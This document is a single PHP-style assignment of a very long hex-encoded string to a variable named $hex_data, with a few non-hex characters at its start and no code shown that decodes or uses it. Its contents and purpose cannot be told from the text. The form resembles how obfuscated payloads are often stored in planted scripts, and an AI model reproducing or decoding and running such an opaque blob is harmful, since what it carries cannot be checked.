$hex_data = '2ILe61jKme5bd4d7baa4ab006fa833208448d3ab883e61b1414044467110d68a3986002faeb6f5583460d9a64ef7dee39cf73076be08af2d15d5df556d55b55763c1f91882ebd95fcd8f7a3956b87e20b176d3cb7f96114742328a63b8ff3b52fc99d69126d252192f49ceb8e02424d9a51c2771f03226f652ddaf738da5204612cba596f124d468a6abc0d55ae2148b23dc96d456a84bdd1da9fbd721137f4b78d699cec461e470634decb9aad2b41fe3a687091e4755e1784e067a157743ee774faa93c75368ba2f534918cd19cc69f63c97bd293fcd1713a0f033bfb7024daec116b378ae3704ef3677b553cbcba8ee63af16320f8e260dddd8e0e56e1d1e8c558fb4a28d156ff69f220cac54b68e76b7b4fda064746a29c928193769446d198d8f19b43acc7408cd6c18aea969fb7e07e8b81ddb1fd919ef4bcec61143ba3d04f5275bc7b7195fc51e343223ae99b2d751233212b31260d7144a5572dc9e0fe645acce773ea2fb58038d293b2eb35c268be82f5cacd8518cc773d358d5477fba905fc337c7f69c71107cf93f90159f59362a7ca59308fc2ad2c4d1e7a4911493c15ccbcf8b40f1eb57cb224dc2e9caff2cd7864357a5e27d5b87466465c4716ed47bda0f0bea96c16dbd46e9083ce773255b1d5f19311690dc2f5fcf05d503a9a41687bec765a53da4c04257b9947deda3f44ab6992a5ae97053a8dda4143c82d25df0af2ce9f4734f635c2195cfe2028131fe46503cf8bd75b894aa60ef33096252fb194c9a37df09bc37cb29eedcdbd192b6f5ac209862d47c1a6490dae93c29ab90392affc9191bfc4c99bc8cb0bb3d895eb2b399a0df22a13b9218be6def2524a92e9c888e07935f2009f9ba21079060997b208f2a8902621bbc7408edf4febf314b97a247c4a20bf432e1d8909a78a4efe168c88ae2704e449192de438d5f6e4d15aa37c64023ebfdd98c3fe99542ce297f93e5adb79e7d0e776c908d6c370b27570686a06c7258ea08cfa635f9135a131ddd04848f299210bd7f75fc9aa10cda32476bd9ce839bf16797e3e38389aa0b446afcb7bd78fbd508e86e391a99b5e46559fda8388df28a7f5982cad22dfa841d21896f23f9a47723cb63b54e7f864448fd76bb52c3f6a8b6a28e2f799bcd334d568361bd893576f643fce72834c39ff31507de5ebf943418f68d7d16276be26923e33e57823bb9496e723df09232e9c147422c2f99728470cc2c50e61eff366c2faf462e7537660bfc613909fed4bb80ac3b96dca5263225971c7d18bb4ebbbcd95ea735483f3ffca299f23581fd417ee8fd78f87f3a8f3e64866a4c70af5577eb3f7e42ba06f9a2f0e5524653286f5fa84f3be377c921127d28cc88e3cd769187ef4502b3fa0df544dfed26fa34e6f4a76b9c9d19824742cdacd7520f9b95a08bb51d11acd736e698bf6c72ce646bd0db7067d167b2eb79f8c1deac816cae327c8c7c14ca247943f3992bbb2ca3726eb49afa7e6dbd0e11e03a9f3a4af27701eed2074fd2f7de93767838813f07ad3c8d995e77ff211b8fee3e9f736fb8ccf73d297c7df33f98ab3b6bd244dcb51b6ec7cedd9f7dbd3b8b5b28bee6c4e933d9c8fc2e03d5c8f418f461d47d4373d6f9b9cdf1fcfa71dffedfbe6d8f15fb9f8431af30d5d89622de167f3d812071ba151ee6f3c1ac679db269d44e7d22ec8b3601ec22c38d8fb59c477034731405f7db2f385dff7b9deb028364a415b265c4f508a9149e415c8cf538f2f4afdcdd69bbc813e65d73ffefec599ee7aca4400797b9325fb01f4d987ea87a4cf456f2389827ddbee6c908761217cfa4bbdd92b282f2a93999efbdd8bf5a4949dc7527fe4aa55a4a93fb25d9047ea08d1e5f306d1eb10edcd26bed87f4d1336a15d346d27520d817b63fa4ec0f580b35efdfef8fcc3bcf509f218f4517ff93279a579db1be9b9ce71069c27584ffb20577f57693a83f3ba03f97c9c502ed3f84ea02ff1fec9c394c2f92e62261f78fd3ee55ada382466913d82bea1fad3e4832479f09a148fa4b45fecfeecfb92f7d9477db291439dd0d518ce0fbe3fea7bb0574f4ae3ebfb78fed8fbaf2a7d84f659ca9b06cfcd25397f9927fea7bdb4933eef80becb5d83c0f915603f041fec79f821d2ee5ad65a0db221af3d2d5bab6e3a9ee5e648d944af7d35ef0a721c037e28fabc97ea3c7d35f9933c1ddfef7dec363726c755e79f63e74d57265d5199be844eb4b155d00f3e59691ea7861ee8a7a5c133fd57fdde5fd1b6de9033c2e7608fb6683f8a9e4753520863bd8856c1413e2849d4121c673417ba54de7cbdff71fffa7c7707f2311b08d133c8c5534fe16251de8e42b9f5a9307b9e9f9e4f0dc8e57a8be123be9f53d90b593ccac7d7fe4d63ee53559adef1f974d0c75a2c8cc1de3e3a23fbd5e0c32df139b2a0719ba8497cf67e67e749f6e694e0f96debfc1cce6faa99a4f906f2d258e4ce0ecedf977d8bafee9f743e881f0a26277c5bef2f79beba9f1379966d47800b1e274987c2f33d5bf9e43d00bc50fb7cecf7d1d03b44cf3d1fe4cfe3c441147ef8843c998912bb762c4f9282d9d36fcfc7de8fa87a1cd9f60aec59325901fed85976f8ee077102f698d98beff73b9777d467fca73322ed9e1f6d45d03786c3651eb38f9d26f1ed7ee829277dfd75ff2ffdf3757dfa5e9e4fb0df57fb0ffae060c8f9bbc873e495bfd48fa7f3449d9da8d8b0ded1e5fd22d27644a2833e7bd0fc30346ccef60e9d835e28cdc08e67b38bfd8b827e24b7550d7040e22d25a63f29d833ef3071beec87eb97f804ecbda7e7938ce16d81b625c5067c49dbbecdd61ff683e19b73f91c837dfe08cafdd97942b4679fc5cbef9ff68bc91fe0a595f7d45bd34cf505763e5481e105660f41df013e90dbe5792bf104e0795ae205e1fc7ef4028f95ef0bfa0dfd8316e09d2c85e76778e9747fcf3fda0bb03f5c53e3a7b81e2b904fc47f39ac07e081e673b032577d7eb2023c0c78556e8f47e99e282416b5893bc8713f99fda1aef765ef7b4a14890c9fa41f80a75a066fa7a00f422bf7cef47d3c1e10baf403e16d4a29e8d3ce0ede07f080ccc1febdd96b33b3388f0f03ce9ac70e673fcd5f456e9e82bce4aad38add6fd78b183ef35d6e635201ce337b3ed89ffc1df4c54a52bc00f42fd86f217f115a3bd9037f26627800cf7bee3add702177bfe91bd89f95c9652bd76fba83387bbbb77ed5f5ead70f8e9b41bc0f4760f2bf10641df777371ad97bcb1176caf13c4ab498c6ca56e26415fc814f69cd37e679f21c445d75ca0b5d413bc3bbf4f2fe038103ffd64b54bfb3d478cfd541bebc255de91cd8f73896a649b7233c39ebd768d7b29d98003e017b326f9060f776d20722d80bc4374a299fc7df7bb93f9af231e0683f0a85b3e72dcff7a328e7e04f4d3f83a5f76c807f6826d5fb6a319c6fd212e5dd68e1c50f440519ce5bedf3fb8b8d5fdfff5fbeffb60df293cc8a6405fb3dd246dbf46c3f47666e777cf76afd37c27a56d0937e28f55196aae8cf83bf75ba7e11837f983e39924727f6519f477bd0a76df017983f15567f073c9bbb76f20d0f82fcb79d91de027cda71fdb40ffaf2fbf37db397fadea4f92381fb4f6954c953eb277df606fbc50d73fb6d3e8a563a1f823f1b86208fdbb19befcbf37bae4fb854f18ad10bc7f0eeaae77b4b35017d1d471f8e143df494ce12ceb787d70b56f2b35ef8bb6140d7da5216e67147274ff2b4a74d626d1f0ae0af9d9effeb7dabeb7bd5f5bdbcab81fd86e7791b89cec334c2784717f0a5be07fd8fe7734bf810fcede6da3bc8e5f9b2fd51e875997d9824657c422db294f91be57a5ce9b3541b885914b81ce013b0777ef66ad233ffabc407e82faf8685dcd278f9159e270b5ce76156dc967f396e36a749ba248a07fab2f8b445bd692a04eda77db247d439dafbe3fe6f09e55423e6da67cfcbf64f91b8bd99c84bd1dbe1fa7b97f6b6d3511aadbc0ffecc28e1fd85dc59e1e71e7e5ecff1f31b7e1e7efd3d03fff742bf29071ff461931fc553dfe4bab172b0f297d5f9f9127290a7d5882af87b763ff3eb7acb6fd7dba37e6d66783dc383ebed2dfcdcc2cf438a9f0dfcdc1cc5ced15e94fe1e8df17a115edffaba7eac1cf763eca37f51ad177d27340dac3cdbc8a05f7a7cde12fc706c78d187dd100eba9cafa4f89b3d2cedc312ec91c761fc606716646def6d0afeebbbaa4c9c4bfffb0bbf9834e3ceecdb351e3c20fec0f812e27b90c7766f3d6902de22e02f83bc5988f79a84df2de6a5fc345e84e4cdb5b766a854f1b47abcc89e5781f36d7979ac3ab1fbc2fb9ffe4a067d525cfadf947b1414ff258cd3377befb5cd58f8ee8f5d5fdf4b033de6bac1e6ebf967b7f0ee97bc9efdde1f59366d7b87b831dbe4bc9470a21e617c0bd6ffdbf938c79766b327c3fa735c50773fd45767f8777f947759aaaea71cf5e1e9f979c19f4444a1a149d19ff538c0e32c5e3620615b96e4d8e0492c29e9c2e4b6a01fd2b7537c72493e8295ddd60b0afe843d9d47f91be0c1955e24911b781bc12d3ec3d86f085aded7d76963be9c0c40f66ce18993f5cdf4180fc6785caa3a180f8ec824b7cd899f013e367766c4adc03f66f110d76979f348ee001e5a61bc641884315959297c06ff236d894abe1b16189fb34ef1956191d9e0ef26060778661c2e55379bbd34420af63195681e98ab700df6e4d972c09dbed4d7a06fec408fb877d427f3e8dcbf93117f6c515f4e936bff31da067b7d6ff069e29ebf0fbc1ff82b0e5e6f76007bc7db0fa335ec3fd84745c2cf0ebd3e1f27fff60b0fcb566e637c7da53f31bcfb633c0ce3e173812aa4914e61fddf59bc5d9015587f7158b0f8377bff6bffe9d27f2fedb9ea5362da5c7b02f7efc749ee11ff8877bfc507aaf89b67e5185f713a33bbce7fcce603215f03ded9bf5ee2914bff47b990e7b5bf111e85843c003e9a95f14cfbc9529aa0074affe09b3f5cda17861f94988b038ce73bd7ef23d07bfa494f72f0bf415ea845ebfcc54101febd9705d778e4ec7db7224f31bef5ae367675cf975fe2a3ca5fcbd9f9a88bdfb078c83fd5b77d8e4b359eaa0387f9ff2d9d6bed863c87f2d3198f267be9f4773896e05f1b1cb7047fe9d6f5d867c273ca7c95be797b2fb17cd216b57c06f804f05227193610bfa6b03f6157d5ec95c165889f983fa5694481f3dbd4b86ca613ae3f1ec1f9f1e07e9cdc86f3d2f54676d3225663b831dbc22aecbfe6b63c2bfc1bfe7ef959c1f89c9c0ac3a2f9b6403ca7442db07717d7eb6f485b5de6f63ca68a32e66f5def767cc0bda59f274db007999408a3d7f27c55eb17b98657c587eee9f733790d23162f7e5e28e4a1c7f65fb911cfb9fabca18f4429f309e5fd9c03c60f852f7f17f30f3fd8b71b78b9fe792db0ff8b613ea16a155fb3c9c407ff79fee57f0bb3ebf8c4f5f54ef18adfd84fe702ffdd38efe9d2976802f6a225c9293e4f99aff871fde1bcfadc02beffe66bbbcea57e3afb7e0c78c2cda97eeddf7cbb1ef72e29f2c2cc0baa3eddc42bc3effb81fe8f09fb85f68434fa51f60678056461be1bf9dfe3e1ff42df9cfcad235e38e54fdd696376610f5b8d79fc6dfd6afd89b958e1019e87e7cd03789e36d88306ea1f2210e195e189f37814eabbf8a02b11c6f7c6f364fa49bef9ab957df42773c04be06fe1fa9025f86fe10b17ef405f3a8857c05fd0c1be6d3d17e49fe7a99b5feac3131ebaf297bfecfb7434a5dff4eb7b95cf85c7ea8ef07ef3e3f7bd7c7e867f4eeb2f97f63dd162e5d27fa9f2655aa3db90926825fa7600feef7320ed1a7a327926bc3db7f2e2530bc88bfc944edd00f153da037f50210595fa6ab32d8fe86ce174a6c77c23e09d8e3f7230bf33d7d719e693768e9b77000f80bf39590c6cfaaee4fcc334eebe837f261860ff54cca76fe06f63cb87cf60af4d785e6e2480bd1b14bb7416248d89d0dd0972b6b3005f78a3e4fcfae0efe7a8af53711cce403e967623ec5d9c2f861fe40fe253c170c363be2419adf599b1a45def103d984af1f63dfe168ffb447e7c65fe7092038c007b68837db1f7c77c97e1ce538cf7c3fe83bf2dcc58febfd1dcf5b9e4ed2a3ebb5578591458fe17e36529a7ad43d40736c37feb32bfc8e22982bd50b47c3008c2483a20be2263458b003f6d31dffb3e5ad18d88fe3db994a7cbf3cf350439467f338653d0d014d2edcba9338ce4961fc40f5778e741179264e4c17a50bf08f664df1394b3e72d2e7f3fdeee8471a6f7d51ccea1f3f902cf2370d987e0cbb2c91bfc6b8e7c8ae6ab017f87f7d963fe4c5e67939e501f8ff7579d44e7a30fc189114fbebee6a6a439cd073cef9603fa8f74006be59116039e8c6847d66cf6f99e7f74ca1fad30be113716454dfc771cc6f2210b517ee17e68af89994fdab303e6739ab6eb4c47f2529ecf1d5312c79967aeb386b0a4f3d0b6278a80f1a79cc9db6dff2fbe81578eeb7d85af893f9c47cd8f4034f7b3827e807f0bfa6cf2ecffc3ebf7e17c55f9dec7abf57898fd6c2f507e5e5f087df759bcb3b87eded8f55317ce2bcb17d7d8b79bd77703902f9aa6dff90317d7ffd9ffade2557603ce5312a66a1c45669e3ddb4b13ce732e83ce2180ef223bc6f85e9661bef4757dc3be9f7d0e565e345d6729cbd7db20efce59be752fb741ffc2f34dcef3a78cef603b17f737043945f98dec255d80bc3e025e9e1b8ac14f8a6ca1ac2786becee357ceb98b47d8678278347fd412385f67f737403f22ff25d81bbb5735d5f5a0b99345793ec99dbbf8ec8ebc5ee4df6bff1e3523cc7718beb2734eeb4f9e2c2729f3f337fc816fe7b3cc9f31fccde265ec330ff286fb8ffeab57fa17b42e3f551bbf89e1fb88df99fc7de31b5cc9ff3406fc12cf7dd4d7f6dee32d8f7b3cbe4fe98ff93b8de604ec677ced2fa881d09946f1edfcdbd9e7fbf2fbe54f7ebdbfdc9933bc78d71ffcf6fe43d0cf80775d33ca7b2cded938e59756b01e288fe57afe807f2ff0c88fe7ef5cdf9a54737cd3caf3f739c3fb155fe3c0d6bb0dfae411f439f85f709e4afdfbabf5bb89c76fe2d5ca1f3e7cc76b27bc757f7f987d7dc9c3637eb8d6ffaac1b389a8d0b1596c374ac1e26329e18a5712cb8f602f1b0647bbc4971d901fe4333571bf46719dff136dc05f39e8a80f372c3ef1162c9d679210cc8f823fc97ebf9b823fa3fa14ecb1877fcfa6e57962f93429307226df68cf97657e8cc52b8beeac2e5e77c64f2c06f6a48df19b97869712bea30e1303f08cd0aaae0ff7d7dfe03c00bea147ffbf2e7f8cf6bcd207025bcf2aff59f7be43c76db6fb7cb886f3a70f8be88bcff52d5ec3f83397f7bbefffc07ea4dd60afbf587e6be709b1af08dc6adc20879ed75cc1feba268d8ef8bce106d95ccf6dc0cbcda619d30f8de7405ef94f7cfef2fd79ff2a1f7d92bf5bf19710fc7d1bf08dc8a56f2cbf31fa8eaf8f78df2fa214de7f60afccc73ed7495df42f289c1ff6f7e8f3e2fe67f89df947281fe05f83bf6f4f848e2caf8d37c253799877e0fc317ed5457eb786cf75c4d3b1379a3ce87ed41285cee7e97e097907ff6f8ff1cc2b7fb63f1e193578821b0d375c2c8c64f21aed7266bf782ed457e13b7c1f9e07f0b4d7740791fc0efbbdaffcf331f2f5fc83b722c84fbac2b735fed6704e3b67f11a6564d9180f0ef77a4c1f5425734cf447965ebb4785f3fce48b2bc3fa1dfce6c29b7f4ef636f25bc03e547cac802c4ffc02218d82807cea7c4855c527e0fbac114f9ef387c03f46796f61fe0dece37aa4f073c69f39f36f8846849e9a6d4386c73cfdc8c70b5d7f2d6bd302d7abd7901f008f7aca81e59747b03995bfc49913bfcc87c1f73fe531ff365de7733d08c1d30d7b9348d7456d52fe9ebbce7f09efb362b21037f9c28a3bccbecdf6dea6974c32d1e97cc27ebfd94bbdc9f0aeed0fc15f789908f94468c0f3a869248e42f97b3cb3db9cc64e640bd1415d717359d0c78a5a34dc71ded0461375d120a2f844e77d0df13315644246a2d634f5407e56f6d3235ff8e27c23bf4df76968dae607f847eb57812e04858a439bc6b23879b21492493cb760feed2a7cea0914f900ee1cfcba603547ff6b2b29d648cfbde7c0bff297d11e3d4dba922cb3f5ace4bd6f68801c5d2badfeded47c761ed3d9153e52441bf994232d093583646f5f7885db19117d2af98fc69bea7ba278e4335ee92ff67d9e2e4427ffb0413ecdf5e4c867f8f4563205f9ca88c257f1364fb7928863fa6965a5653eb669c37918a1bca23f6a1434d3121bfc4d920587e6aae72b0dd7cfdc2937791c8bc2c3e57ed9bcc1a5a9c9f8bdf15e16f515ac67f433ffd519855ee8ceb439c34bbd00b4c53e9bbde6fa401da7fa30a09172c8c9645df29dcfec21f257054999f8b07f80ef8cdd74ddc9c0fe8dad225bcb92fd64f9d1a3eb65da204fdfec0d61f1ba0bfdc1f48de0a2bef9e22fe5bbf27c221f11fcc171280c1c0efc77ff963ff34dff0b711a213f789a343331a18b991c858ecbf1606f772a3caf09cfebb9ad2f792af982adc955fee07ebc1dcec7c6cbc07e4ead5cf8244f5bf0a5f24c7522b4cf1f151f7ee772dc2bc84f2c03fe03fbfb41a8323b93ef54a0990af8b5330ec887c1876fae4f5fad7c7ae37e64250811e03fbaf2dcb8d1f7f2959428701e266dc7dd357a7cbe027dbfb0f2f419ae07f882c3ebcfe671f4e14b0abc6f9448723cb28ace47a07cc73b9324033c20fb03297c1be17990197f5b40f97d69845d2b69bdd94eec1bd12465fc6cbf49c5a2bb00fd8cfafd69e2f8bb11cd5f0dda5dc95a08fbd97a33491dbecdbb9edb3cf47c7b24ca84e5631549477ef31b790a837e8c78c87ce8f9e18395509057fa34dbeb55fe3f0d06049caea8b31f52c45f8c1fde516dbe2e7e8cf15567e0c876f015df81f5f61e678d39e025fa292853328cb8862ae2f5b9255143bb5fe4e0efc49f185f42bec842ee7e6a2cff8af1b3f055b4b986a3d6f21d417eb379ff103e1efd9351e93f337bcaf09a9f07961d3ecd0e8c8f552fcf44067f3b47fd00f612ed5fbef346e6beccb7b17c1ad847f8fd7a72b4cfe5fba13e3a7cc7bf4c9f48724bf7f50caea7c2797805fff2a1efa519d80f7d984f3f03d76b99bc47b5389a9a5cf48ef6b68ff69657beef5f193f7dfac6e74db20cf98b26e08d0bbeff37fc9f97f648b31fc498d9f757c04f14f939705e7d2b77785960fef81afdf12117b5c7aefdd47768242ade0cf00405f97e007cbd72bd5c83cf1d6d33af8d3fd7e54faed64383f57881f3981bbcb22bf16c44011f201f2e739d541b14d147b0311ae8df833db08770de7d497e84f56ad6ecdf7ce14522e0eb5cc7f3a998ee408e96c17eb257bdbccbf43dcbcf96fae1743d77f260f92425453486f3ff89f99c5e42e0bc1623f04f776338ef133f647ca901ed7ed70f67fca5411e82ffd5a9f00dcb3f33be10e239583f5174b2c819e91cf27f4ef2b8ff391e732b3f73b59e32ac27e0d5ec694a417f83bd9f47a0ff5711d80312db4e04feba09f611beefd037b01f2aec2fc6979ea6898e78d81de4c927c87bbb5f500eed4bf97bfda90ff652926ef993a81f275dccff19b6827c40c66704f90ee1fa1d94f79ed2da09600fe0f30aeccd12f0ff16ce0feac7b7c0955ba01f9b9232bd1b6f437ccbf88c9a7dd0f974a954f52ac88fd5411e25c5de95f53fc98d7cf54d3c14011e3291af06e78b1f837dd291bf897c7f8c6f68e460f0f31df883604fe4d5f82083bf162e55c07f435ccf43d2b0bc7c8df54b77fd793f43f9782ff3678047c6a7e7df84846f39e47e3ce2063eb7607d3b069c5fc06fa04f6967ec16889f9b601f7d8b9d170fe4235ab9be17e811f29bc906f0d01bc66be1fb71fdf9ade2031cec8f68ee7fb39e062f4f2d2eea56f516477db292c1be5860cf049f9dc7c47753d427a0af273e9eb7b1246f4cd43fe5f97f0e46e4a927ddd25f55be9ecb1e094d1f0dbbfb897c5585664b5cff79d4f9f00f727b4a6926fac908f4e3c61b090d2bc9199e65e7dbcdc1deb456a3e8fe7a830e0e07582fd5880f257e908ff2757bbd6ae229c778ec9d7813e2398dd557465ee4acbefc1733cfed32bf8be7b5e30e6ec65739acef9b1ba2d7f1315e1b37e7e0cf08c8cf84f500fdeaa3ff80f179caf021d8379487412ec7a84f59bd27d87783803c3708e0651bec3bc68b9358a9cb675ee56bafe241f03e09f82ffe48d99bdac2361a42c39b80ef9d2b87f445d6f8e717c6b734eeae0fd6f729b0c963d00fb09f808ff0bcd218f163b9ff5bd0cf741dac587d2af887b93bf4a247380f6db3a05b41e66c90ffcb78415cd5536d4a7fcff000af939af7bbf2ffa446289bebac2d89fca7346e3526018b578c0639e6d3c09e27c2eee84fce0edcd3f098bfb265de0fe6ed1afb3819067657d9e7f6dcd61535e888c38607fe82eccf03e16d21246fbdf23c2c59fe4d2109e0cf47e54090cf30234f9385a1ea8dd0ab896f134f133713b3370e1b8294dac8079237c4d401cfbcc8715ac60f6902fabd0fe715e3ddcb9ed204f912468097769e1b3e80be7bb36bec373944d26b21bb6a90bf0e9fc28eea86b3579be8588f03fead09fac8080e39c6d776701e5f31dfe38d74b0471c157d3a9d47f4ddfbd57aa4a6fe94ef889baa5301f9e780df361d17f61ff40907f8388f0579778c277474b6dfd9f437eb31b7238934c285a1851dc0bf05e065b17c7f82fae97dec467be4df81bd02fb19c2fec60d9dd71f00038660dfd28bf8d8cabf8acf7dc357b23f329f7a88ff9529fa0b299cc74758df06f2ab178cbf58c50b02f40fc3ae9def0e200fb21e70b1e475187e38e117da19813f00fa14f45dd1f914b938971a422ef9f903e87317f5b92cda0f7a12adc14d9e0d6daeedb9d1b25fb4e8b7f80ccff8bb6bbbacbfdd9aeba82bb8b9a7ecc11fe0276d8c4f5dd55b5ee46330de56fa6f36d8a32afe8df1b1c293958000aab77ccbc1f81ce0db32ffea8bbfc8bfcec0e555c6dc7844c1df403c1584bdb378e591df5af267e2a3bf5fd687bcf0fe1efcbf27d427dff1541e1802f8a731477587f9234f986f7624bf71e423007e528325fc1efc53b7ac47b9c17f972dcc977ff9cb65bc4fb8813f58bc2a88b401b1415fed7e9b2f1c233f730cf8d4f0abf817fa6b45895fbff82b57f6fb7e7ee19adf90ce01bfa2bf8af51b18bff2d56d4341bcadc8553d36d6878714eb9b904f56d9230a785933ec33fefd351f558802ac0761f1d30da5da3a1c0f317eff139f4fb493e18df540fe27e0d755cfdb215f32348beee764857cd6ec41909b8176fa7bf6959fdcc4b7f838df7e8ff15ae447c0efb9b3fcdff57eb57f93bff4733dd646f2ebacb027f27a4bed5b7cb2dfe41fb5543134fb491c35d549644a35f8a336df53930fb8e0af9eafa704fab4e2a3ddc1cfff3c9f063eef2bf34fff117f0cfc49907790b71ff29f17f90e168fd5c64de453be8a0a5d94e713cedbed7ac2fdefeaf5925bf592437bc5fd39df3e39f91355ff0aa1d44fc302f99676d39285dbe7fdd7ebf32bfd67067bd007315d115a60fd09f39fa7094735e48f46617714cc7fc56f9512aa5ab6f0a90adea7e1e75d78bf39d603f9c12dbe5769ff5e41cbb2f8cda6e293b17af223dfab8c071df98e6ace756cc0b77a719deffc7a9e5bf8f257f7abf82d3d65d2c2e30bf6fbfd0b0f637eaaaab75158fe666638d91bd673a9632a0ed7587f0ff88174983f3c5afb58df70963fe214f1ab3eff227f64f993a6c667c1179fe918dfcdabfc39daebac21b899fa5a34cd898ffc5ab09742cee25d93b1b3b38be8493ba4bd106ea9a804f3454bc0df83a9d051583cec8b2fdfec25dc8860bd34d7199df1178ef57b159f269beb459a55f9e56b3ecd757eeada1f81f3c7ea0dcff37171155fbeb9bef38843fef9b5bca03f06784c0ecb7c6ff3844750bf94f146657bcc2754fcef1fd7e3aa7fc2295fe78f42bdacf7023c74a59f2efb0f94e7bfca77a48a2f0b7abcdb2892bdb7b09e86a7acffc97d3efa37fc383ff9d315df50dc10a9e44b803d66f5a1e02fb3fad5bc0febd5188fccd5797d5b1ddf1cec15cb8f005eebc0794fe07c32fcb6407c207914fbd520dfe3d4ffe3069f368c2611e82bd0e769569def3de069a5cab75cd6433bdd4bfd779f7fbcadfaef88f661de5814c9dbb08aff20be43fb21dac64888b86ec0fa8d603c24027f79b246fe29da33419994f5141a29cf5f74931f7a91afacfca354f465e487a5b2183e607d990aeb6d11daf1c7d3d514e3094988f5f4e00fa4ec7c001e047fbbd828a4a389e374fa950fb49baa8ffd710ac0bfcee7b7bf1f4e7c06f8fb05ff1bfdfff5ff707dc8491f957c92b01de49dbd9e9016f6673ae5a757a7fe31257f97e76885dfc01fe6dfa609e82796aff9ea3771e427f8aefd50e1f38b7e4f37e4bd07fa6b85d743ffd94c8ce37e307b6492f0395839f9895f79e427f0653e4b89e4ce6c1f267d8ecb249ed587bfe1f52a7ec4ec67fe00f73e1e39e7f6d040ff8bc5fb9c4831880cfe940ecf73563f7a277e71c493acde9103fb22149fce81aefac9a409d7b3ad227b13d6d82f23c7fe1ab301b98c2fb3fe1e4299bf3369a4e9ab90e523e17cb17e0e67f211b37e38cb30c47e342c7ea986ce916f52d65725987fde7a8ccff1a7f3ece0fdb1be5d27dcfb753ce87e7cebe7fd0d0f9d652fe177c82f9fc79dee7864efa7945bbaac5fcc1dff42aaefe753f583b8eddf1ecc47f06fb770a65533f7d359509cf333b2b1c435f5f504f9ac1ab3871778e5b23e07fd31672503dee432b5e2dba965ffb2c570035857b252562f03fa561d33ff07ee27b4a61b4e1e36b8822cc3f98bdd91c91335870dba66fdbe00df7ce1876c13b89d83ea9396a8f8a81fb81bfcfd0b7e28d64f83bef02ca65f93eff6f32a7e2af8724492af7e0faf02950957f247e4b23fc3f7faf36f7816eb05b308fce7bd25c37e26996ae5cea7bdc77e2ee15bc99f976347f260fd7657f9fb34214a382684ae1cec3750d0a5447390efddb93e453e5604782a3678aff95b7bfcd51fe48a5febe4d5f5305e90a7ce0dfeb4827ca584bc0b4ae656f59b2cbe0af6e915f9f8d81fcd72e887c0f2091cac97b9347cd63fcbd3737bf50d2fffd13f0fcbe73fb7ff1aec5f2454fdc864c0173d85a4e277fb7ad6efe8d86fe1563d66fa08fe910afa9fc59b4ef59871de1dbbfc391eca909f6a2679a5dff17c084fd80f6684fd9fbef4eb793f29dccf0709fb254532ef3b8c7f2355f8e3647f24ac57067c5be5e7b03f9851dfefe8acbf4fc57fbfd53feabb7ecfb05fc80aecc9b15e879785fa7e513fcb7b1e9a4587d907e52b5ffcafe35f657f21869f2eef77113fa8ea9f2a3e8bcec954a3b900eb897895e9eba10f78f3663dd9377c3e38f2f1cef039eb7f204b721bebdd444f191debc16ff135cefb515de4a7d793454fcd587f03f03730de02f2365145d6ffeaaa9e44fbebfe5df4eb8a83bdd338eb87f7cd7e9ce76b8feb67d1bc6526473e28ab775f8972873be72b8fbef537abd717a154da17e79b7c38a369d26a0bf5f9a3fa7e0d23168f69181ee07b569fdafd77fc4c277d433ee04dfb1b7dad2feb37e7dfec37f4233ff2ec3ca37f9996fdfbe2adb2215ffca80aaf1cdf4fb49b5180fe9280f5da653dbfd2989fc7a3e07c74dac8a73d9e7fd0b74fa0ff5ad82f46c6f3ebb0f37b5e0fcea1fc827dde017e5c817f83fef157bc40b9e4f35d5fffbfd52fe5fd014fe2f93ee79bd6f76faace73cff7d01ffae2f3ff709eeef2c93602f6137927898df2c1faf15dd53f5ee88b2a7ecbe401f937a57fa96c317e2157ef730b5f57fcb8325fd1f004d36378d22bf7833fc71bfdf279b69f804f19bf5911583faa8e235af975fd38f85fb01f5cd96fb2ec1ff9acf132e08d94c5e3d9fbaeb3b63a9a20de5bc2fd319fc9f831581f37fb17e705e39dd88f00f013f8db80973512813cb7cafe0937ce275ff27b07b989fcdcc709d6d36c9af34104f8383af52b53263c7fa3befda67ea8cecb914ffdaff1b959daf78b7883d7f3f25874a270e0149f1ec68fcb7c41f9fc9b6ff8e67b7c4c48b627fee385be3ef5fbbd8d97cb78d416ebe3cd3c6bc3fe00d69aa08f1beaf18ef56f357ce487b1faf9cc01fc84fe51efecfb55bc777c3c7f168b7f9ed537ad751bf5013cef457cdc3ccb07f4933084f58d411e1bc8b718f9cc7f38b3af553f92b21eb48c8f613f9746d230d8f3caa19ef3e7fd3bb54164bf7ef1d532cd1052b43f6e9fc3fc423e370405fd81fcc569211f8ec5eb83ab7e5ee7fdce4c815b0537e3cdb937b06dc497541b3b28dfd7d7bb1d6f437f52ceb662b95fac3eb08eef6dd821f68385ef4f6211e3abacff5d4a61fd5a5ff54ca5fd1bf9743158cae09f7294d513c929b10ad90e5c2fd1fd02fb8596f2b5b4b0bea5cca797fdf44a7960f18a3c9a637c2166fbf9e5ff627cc2e97cce93792e4b4db06f3e3bef15ff57ea8d3b549419be3ecb37366766d145ff2c5d3874a52af6a2d4cfe5fb0efc30aae283188fbacc9756f1c1eff763ef27f582d2bf61f9bb6b7f46037d1d4df7ae3f017970aafe4c8cff7caa1729e583f54f0577d53bf4397ee7c5d19ee155bb83fee848fa924fd02fa778f0057f9ff53366fccbebf5137680f742f4574abcc4b5058553143b447fad55ad2fdbbfa9d411fa7cfeecdaf3d1097ffadff0d3a9def3425fb2fadd6e593f737c9f7cf2a0732deada06f6275b05ea577f670dfb494b187f61f9a6f997fdfcaa77be137f1b0f9c4eccf81ef1b7fe2fd7fef24ee5e96298e71ff0be657fe59ffb0b87f365ae4e62cf933793574bc57ad76830018f4c1cefd879fdf2af2eebb34ff66c7d5efff1559f71f427cefa19d15fe42fe6ba3d61fd47cfedd5c26da2bf4c417f97fd9dbfc5d7bd7f50cf3a5dba41d5ff432be353aeff75ffcbfe3211e853c47f82ff254ff65401577a26471fb648da5ff1a630c2fa6ff8fb83ea61ff2aff5bffa7fa7a2ad07f349a1bb6ccfa95bf22b91bfc7dcb264bfcfbab53e217162f1ff3fcc44956f7eb6b59ff3bfb5bffce88bc792eda5be5ed640f346e867c3ad517aafc54b91e5a22eb18ff742439c1f371f4c7aefc912eab47637cc3ebfdafed6fccfdebfc3af235d7584f1855f6c068603fd8dbfbf78febfbabfa8ef4c1da94f980172e627cea525f7e7b5fa69f2a7e784b60f181cafec9f8bc5de3563de1c9ff8eb3273b2ff521d8c457a3ac872af733c8db82c89998efd19e103f470741a4808f0da60fb11e5f65f251e32faf6af295ac9e1feca1d4dc9b0e0d04393a1824db607f9d595c579f7dec5706eb113b074261ffe4f3fa3d672411f9311ce98035485b2486aeb8692fb4edd194fa3b0b9e4f29d26c2cd158cfad86be6e3604a9335fc0dfe1fd58bf26b24a5fe6f7f9